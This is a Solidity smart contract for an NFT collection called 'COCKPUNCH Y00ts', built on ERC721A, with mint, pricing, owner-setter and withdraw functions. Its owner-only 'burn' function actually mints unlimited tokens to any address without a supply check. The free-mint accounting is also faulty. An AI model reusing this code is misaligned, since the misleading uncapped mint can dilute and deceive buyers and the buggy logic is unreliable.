    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract CockpunchY00ts is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://bafybeia6hry7wwhol5dtv5vkewt2ly3ke3nhm7d65orxxzq5pnxwuoqrze/";
    uint   public price             = 0.0015 ether;
    uint   public maxPerTx          = 20;
    uint   public maxPerFree        = 3;
    uint   public maxPerWallet      = 33;
    uint   public totalFree         = 4444;
    uint   public maxSupply         = 4444;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;
    mapping(address => uint256) public _totalMintedAmount;

    constructor() ERC721A("COCKPUNCH Y00ts", "CPY"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }
    

    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(_totalMintedAmount[msg.sender] + count <= maxPerWallet, "Exceed maximum NFTs per wallet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        require(msg.sender == tx.origin, "The minter is another contract");
        }
        _totalMintedAmount[msg.sender] += count;
        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function burn(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function toggleMinting() external onlyOwner {
      mintEnabled = !mintEnabled;
    }
    
    function CommunityWallet(uint quantity, address user)
    public
    onlyOwner
  {
    require(
      quantity > 0,
      "Invalid mint amount"
    );
    require(
      totalSupply() + quantity <= maxSupply,
      "Maximum supply exceeded"
    );
    _safeMint(user, quantity);
  }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}